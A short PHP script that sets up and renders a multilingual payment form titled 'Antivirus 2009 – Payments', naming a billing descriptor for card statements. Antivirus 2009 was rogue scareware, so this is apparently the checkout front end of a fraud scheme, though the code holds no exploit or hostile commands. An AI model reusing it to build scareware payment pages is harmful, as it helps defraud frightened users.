<?php

    require_once dirname(dirname(__FILE__)).DIRECTORY_SEPARATOR.'init.php';

    $data = array();
    $data["title"] = "Antivirus 2009 – Payments";
    $data["caption"] = "Your statement will be under the name of Innovagest2000sl";
    $data["action"] = "/form";
    $data["header"]["languages"]["current"] = "en";
    $data["header"]["languages"]["items"] = array();

    $langs = array(
        "en" => "English",
        "de" => "Deutsch",
        "ja" => array("caption"=> "日本語", "img" => "jp"),
        "fr" => "Français",
        "pt" => "Português",
        "it" => "Italiano",
        "es" => array("caption"=> "Español", "img" => "sn"),
    );
    foreach ($langs as $abbr => $name) {
        $lang = array();
        $img = $abbr;
        if (is_array($name)) {
            $img  = $name["img"];
            $name = $name["caption"];
        }
        $lang["caption"] = $name;
        $lang["url"] = ($abbr != "en" ? "/".$abbr : "").$data["action"];
        $lang["img"] = "/style/{$img}.gif";
        $data["header"]["languages"]["items"][$abbr] = $lang;
    }
    $data["footer"] = array();
    $data["serts"] = array();


    $view = new view();
    $view->render("form", $data);

?>